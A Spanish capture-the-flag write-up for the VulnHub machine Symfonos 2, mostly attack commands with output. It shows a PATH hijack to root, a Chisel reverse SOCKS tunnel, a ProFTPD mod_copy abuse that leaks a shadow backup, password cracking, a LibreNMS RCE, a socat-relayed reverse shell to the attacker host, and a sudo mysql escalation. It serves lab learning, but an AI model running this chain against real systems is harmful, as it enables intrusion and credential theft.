# Symfonos 2

#### Sobre esta maquina: VulnHub&#x20;

Sistema Operativo: Linux

**Skills Usados**: &#x20;



* FTP Exploitation - Abusing SITE CPFR/CPTO
* Abusing FTP & SMB - Obtaining files from the machine
* SSH Connection via Proxychains
* SSH + Local Port Forwarding in order to access internal LibreNMS
* Playing with socat to define connection flow
* LibreNMS Exploitation (User Pivoting) \[RCE]
* Abusing sudoers privilege (mysql) \[Privilege Escalation]



Metodologia:

Symfonos 2 es una red interna que pertenece a Symfonos 1 asi que para poder comprender como llegamos hasta este target te reocmiendo ver symfonos 1 donde realizamos un escaneo de redes y pudimos observar que podriamos lograr acceso a symfonos 2 pivoteando.

Buscamos aumentar privilegios para poder acceder a symfonos 2 asi que empezamos, listando archivos SUID que permitan ejecutar código con permisos root.

```js
find \-perm -4000 2/dev/null
# ./usr/lib/eject/dmcrypt-get-device
# ./usr/lib/dbus-1.0/dbus-daemon-launch-helper
# ./usr/lib/openssh/ssh-keysign
# ./usr/bin/passwd
# ./usr/bin/gpasswd
# ./usr/bin/newgrp
# ./usr/bin/chsh
# ./usr/bin/chfn
# ./opt/statuscheck
# ./bin/mount
# ./bin/umount
# ./bin/bash
# ./bin/su
# ./bin/ping
```

&#x20;el archivo _/opt/statuscheck_. Vamos a inspeccionarlo

```js
strings /opt/statuscheck
# ...
# _ITM_registerTMCloneTable
# GLIBC_2.2.5
# curl -I H
# http://lH
# ocalhostH
# AWAVA
# AUATL
# ...
```

### Path Hijacking <a href="#path-hijacking" id="path-hijacking"></a>

Creamos un archivo en la carpeta `/tmp` llamado curl, hacemos que ejecute el siguiente comando para darle privilegios **SUID** a _/bin/bash_.

```js
chmod u+s /bin/bash
```

Añadimos `/tmp` dentro de la variable _$PATH_ asignándole prioridad.

```js
export PATH=/tmp:$PATH
```

Y ejecutamos el archivo _statuscheck_. Posteriormente, llamamos a _/bin/bash_ con _-p_ para lanzarlo con modo privilegiado.

```js
sudo /opt/statuscheck
/bin/bash -p
whoami
# root
```

Nos descargamos **Chisel** desde su [Github](https://github.com/jpillora/chisel/releases) con **wget**, y lo compartimos con **Symfonos 1**.

```js
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel
python -m http.server 8080
```

Y lo compartimos con **Symfonos 1**.

```js
wget 192.168.1.138:8080/chisel
```

Arrancamos **chisel** en modo servidor en nuestra máquina atacante.

```js
chisel server --reverse -p 1234
```

Y desde **Symfonos 1**, entablamos la comunicación con **Socks5**.

```js
chisel client 192.168.1.138:1234 R:socks
# When connection is stablished, chisel server output
# 2023/01/13 23:32:12 server: session#3: tun: proxy#R:127.0.0.1:1080=socks: Listening
```

Por último, en nuestra máquina atacante, debemos configurar **Proxychains** para que sea capaz de tunelizar las peticiones a través de **Symfonos 1**.

```js
nano /etc/proxychains.conf
#[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4     127.0.0.1 9050
socks5 127.0.0.1 1080 # this port depends on Chisel result
```

### Enumeración de Symfonos 2 <a href="#enumeracion-de-symfonos-2" id="enumeracion-de-symfonos-2"></a>

Ejecutamos **nmap** como al inicio, wrappeando la comunicación a través de **Proxychains**.

```js
proxychains nmap --top-ports 50 -sT -vvv --open -n -Pn --min-rate 5000 10.10.10.3 -oG allPorts 2&1 | grep -vE "timeout|OK"
```

> ⚠️Recuerda que con **Proxychains**, no se puede utilizar la opción _-sS_ porque entra en conflicto con el túnel. Hay que cambiar el parámetro a _-sT_ para utilizar peticiones TCP normales.

Se concatenan además unos comandos de limpieza porque **Proxychains** imprime más contenido del deseado. Los puertos abiertos son los siguientes: 21, 22, 80, 139, 445.

Afinamos la búsqueda.

```js
proxychains nmap -p21,22,80,139,445 --open -T5 -v -n -sTV -Pn 10.10.10.3 -oN targeted 2&1 | grep -vE "OK"
# PORT    STATE SERVICE     VERSION
# 21/tcp  open  ftp         ProFTPD 1.3.5
# 22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
# 80/tcp  open  http        WebFS httpd 1.21
# 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# 445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
# Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Si nos comunicamos con Samba, vemos de nuevo que el acceso anónimo está permitido y nos encontramos un archivo log.txt que parece interesante.

```js
proxychains smbmap -H 10.10.10.3 --download anonymous/backups/log.txt
```

Si lo examinamos, nos encontramos con lo siguiente (se han omitido cosas que no eran interesantes).

```js
root@symfonos2:~# cat /etc/shadow  /var/backups/shadow.bak
root@symfonos2:~# cat /etc/samba/smb.conf
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which 
# are not shown in this example
...
[anonymous]
 258   │    path = /home/aeolus/share
 259   │    browseable = yes
 260   │    read only = yes
 261   │    guest ok = yes
...
User				aeolus
Group				aeolus
...
```

* Existe una copia del _shadow_ en _/var/backups/shadow.bak_.
* Existe el usuario **aeolus**
* El path _/home/aeolus/share_ es visible de forma anónima por samba. Probablemente, ese sea el directorio donde estamos encontrando el archivo, este que acabamos de leer.

A través de **smb** no se puede hacer nada más.

Continuamos por **FTP** en el puerto 21.

### ProFTPD 1.3.5 exploit <a href="#proftpd-135-exploit" id="proftpd-135-exploit"></a>

**Searchsploit** nos arroja información sobre esta versión de **ftp**. Parece ser vulnerable

```js
searchsploit proftp 1.3.5
# ProFTPd 1.3.5 - File Copy                                    | linux/remote/36742.txt
searchsploit -x linux/remote/36742.txt
# Description TJ Saunders 2015-04-07 16:35:03 UTC
# Vadim Melihow reported a critical issue with proftpd installations that use the
# mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands to be used by *unauthenticated clients*:
```

Podemos copiar y pegar archivos de forma remota. Teniendo en cuenta que por **SMB** somos capaces de leer el directorio _/home/aeolus/share_, podemos aprovechar esto para copiar ahí el backup del archivo _/etc/shadow_.

```js
proxychains ftp 10.10.10.3
Name (10.10.10.3:iocio): 
# 331 Password required for iocio
Password:
# 530 Login incorrect.
# Login failed.
# Remote system type is UNIX.
# Using binary mode to transfer files.
ftp site CPFR /var/backups/shadow.bak
# 350 File or directory exists, ready for destination name
ftp site CPTO /home/aeolus/share/shadow
# 250 Copy successful
quit
```

Ya estamos listos para descargarnos el archivo con **smb**.

```js
proxychains smbmap -H 10.10.10.3 --download anonymous/shadow
```

Vamos a probar con un poco de fuerza bruta, a ver si somos capaces de descifrar los hashes.

### JohnTheRipper Shadow <a href="#johntheripper--shadow" id="johntheripper--shadow"></a>

```js
john --wordlist=/usr/share/wordlists/rockyou.txt shadow
john --show shadow
# aeolus:sergioteamo:18095:0:99999:7:::
```

Parece que tenemos la contraseña del usuario `aeolus`, `sergioteamo`.

```js
proxychains ssh aeolus@10.10.10.3
aeolus@symfonos2:~$ whoami
# aeolus
aeolus@symfonos2:~$ hostname -I
# 10.10.10.3
```

Estamos dentro de la máquina **Symfonos 2**.

### Symfonos 2: Escalado <a href="#symfonos-2-escalado" id="symfonos-2-escalado"></a>

Con el comando `ss`, buscamos conexiones de red expuestas.

```js
ss -tulpn
# Netid  State      Recv-Q Send-Q                                   Local Address:Port
# ...
# tcp    LISTEN     0      128                                         127.0.0.1:8080
# ...
```

Parece ser que hay algo expuesto en el puerto 8080 del _localhost_ de la máquina **Symfonos 2**.\
Para poder acceder a ella, necesitamos redireccionar en nuestro equipo dicho puerto mediante un túnel **SSH**.

Con el siguiente comando vamos a ello.

```js
proxychains ssh -L 8080:127.0.0.1:8080 aeolus@10.10.10.3
```

Una vez hecho esto, abrimos **firefox** y accedemos a [_http://localhost:8080_](http://localhost:8080/).

![](https://blog.ikerocio.com/_next/image?url=%2Fstatic%2Fimages%2Fuploads%2Fsymfonos-1-y-2-write-up%2FLibreNMS.webp\&w=1920\&q=75)

Dado que tenemos las credenciales del usuario **aeolus**, vamos a ver si podemos reutilizarlas en esta ventana de login.

![](https://blog.ikerocio.com/_next/image?url=%2Fstatic%2Fimages%2Fuploads%2Fsymfonos-1-y-2-write-up%2FLibreNMS-Logged.webp\&w=1920\&q=75)

Una vez dentro, buscamos alguna vulnerabilidad en este **CMS**.

```js
searchsploit librenms
# LibreNMS 1.46 - 'addhost' Remote Code Execution                  php/webapps/47044.py
```

El script genera un **RCE** por SNMP cuando crea un dispositivo. Con ayuda de él y poniéndonos en escucha desde **Symfonos 1**.

```js
$ whoami
# cronus
```

Pero vamos a complicarlo un poco más. Vamos a entablar una reverse shell hacia mi máquina atacante. Para ello, haremos uso de Socat.

Desde **Symfonos 1**, ejecutamos el siguiente comando.

```js
socat TCP-LISTEN:4646,fork TCP:192.168.1.138:4646
```

De esta manera, lo que haremos desde **Symfonos 1**, es que todo el tráfico que le llegue por el puerto 4646, lo redirigirá automáticamente al host _192.168.1.138_, que es el de mi máquina atacante.

```js
nc -lvnp 4646
# listening on [any] 4646 ...
# connect to [192.168.1.138] from (UNKNOWN) [192.168.1.140] 54208
# /bin/sh: 0: can't access tty; job control turned off
$ whoami
cronus
```

Adecuamos la TTY con un [tratamiento](https://ironhackers.es/tutoriales/como-conseguir-tty-totalmente-interactiva/) para poder utilizar el Ctrl+C, Ctrl+L y las flechas durante la sesión de la shell.

Aún queda ganar privilegios de root. Buscamos si tenemos permisos en la configuración de sudoers.

```js
sudo -l
# Matching Defaults entries for cronus on symfonos2:
#     env_reset, mail_badpass,
#     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
# User cronus may run the following commands on symfonos2:
#     (root) NOPASSWD: /usr/bin/mysql
```

Cuando encontramos este tipo de permisos, conviene visitar [https://gtfobins.github.io/](https://gtfobins.github.io/gtfobins/mysql/#sudo) a ver si, de alguna manera, podemos acceder a la consola de root directamente.

En este caso, con el siguiente comando ejecutándolo como sudo, parece suficiente.

````js
sudo mysql -e '\! /bin/sh'
cronus@symfonos2:/$ sudo mysql -e '\! /bin/sh'
whoami
# root
cat /root/proof.txt

	Congrats on rooting symfonos:2!

           ,   ,
         ,-`{-`/
      ,-~ , \ {-~~-,
    ,~  ,   ,`,-~~-,`,
  ,`   ,   { {      } }                                             }/
 ;     ,--/`\ \    / /                                     }/      /,/
;  ,-./      \ \  { {  (                                  /,;    ,/ ,/
; /   `       } } `, `-`-.___                            / `,  ,/  `,/
 \|         ,`,`    `~.___,---}                         / ,`,,/  ,`,;
  `        { {                                     __  /  ,`/   ,`,;
        /   \ \                                 _,`, `{  `,{   `,`;`
       {     } }       /~\         .-:::-.     (--,   ;\ `,}  `,`;
       \\._./ /      /` , \      ,:::::::::,     `~;   \},/  `,`;     ,-=-
        `-..-`      /. `  .\_   ;:::::::::::;  __,{     `/  `,`;     {
                   / , ~ . ^ `~`\:::::::::::~-,,`,    `-,  ``,_    }
                /~~ . `  . ~  , .`~~\:::::::;    _-~  ;__,        `,-`
       /`\    /~,  . ~ , '  `  ,  .` \::::;`   ~```   ``-,,__   ;
      /` .`\ /` .  ^  ,  ~  ,  . ` . ~\~                       \\, `,__
     / ` , ,`\.  ` ~  ,  ^ ,  `  ~ . . ``~~~`,                   `-`--, \
    / , ~ . ~ \ , ` .  ^  `  , . ^   .   , ` .`-,___,---,__            ``
  /` ` . ~ . ` `\ `  ~  ,  .  ,  `  ,  . ~  ^  ,  .  ~  , .`~---,___
/` . `  ,  . ~ , \  `  ~  ,  .  ^  ,  ~  .  `  ,  ~  .  ^  ,  ~  .  `-,
````

\
